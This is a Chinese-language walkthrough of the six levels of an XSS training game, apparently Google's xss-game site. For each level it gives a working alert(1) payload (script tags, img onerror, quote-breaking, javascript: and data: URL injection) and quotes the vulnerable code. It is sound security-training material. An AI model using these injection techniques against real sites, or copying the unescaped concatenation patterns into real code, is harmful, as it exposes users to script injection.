网址
https://xss-game.appspot.com/level1
Level 1: Hello, world of XSS
payload:
<script> alert(1); </script>
漏洞产生处:
message = "Sorry, no results were found for <b>" + query + "</b>."
Level 2: Persistence is key
payload:
<img src=1 onerror=alert(1);>
漏洞产生处:
html += "<blockquote>" + posts[i].message + "</blockquote";
blockquote
标签之间的所有文本都会从常规文本中分离出来,块引用拥有它们自己的空间。
<script>
执行不了那就换个标签。
Level 3: That sinking feeling…
payload:
'onerror=alert(1);>
漏洞产生处:
var html = "Image " + parseInt(num) + "<br>";
html += "<img src='/static/level3/cloud" + num + ".jpg' />";
利用单引号闭合绕过。
Level 4:Context matters
payload:
3'*alert(1));//
漏洞产生处:
很明确,用单引号闭合,然后再乘 alert(1)
,那么这样的话它会先执行 alert(1)
,然后再把返回值执行 startTimer
。
<img src="/static/loading.gif" onload="startTimer('{{ timer }}');" />
Level 5: Breaking protocol
payload:
signup?next=javascript:alert() //之后点击 next 链接
或者
confirm?next=javascript:alert()
漏洞产生处:
在 level.py
处可以看到传了一个 next
参数到 signup.html
处。
这边可以用 javascript:
伪协议执行 js
语句
当然直接 confirm?next=javascript:alert()
也是可以的。
这边也可以用 javascript:
伪协议执行 js
语句。
Level 6: Follow the 🐇
payload:
https://xss-game.appspot.com/level6/frame#data:text/javascript,alert('XSS')
漏洞产生处:
在 index.html
中可以看出 url
格式的要求
- 以
https
开头 - 获取的是
#
后面的url
onload
会加载 js
文件并执行,那么我们可不可以利用 data
伪协议直接加载 js
代码,答案是可以的。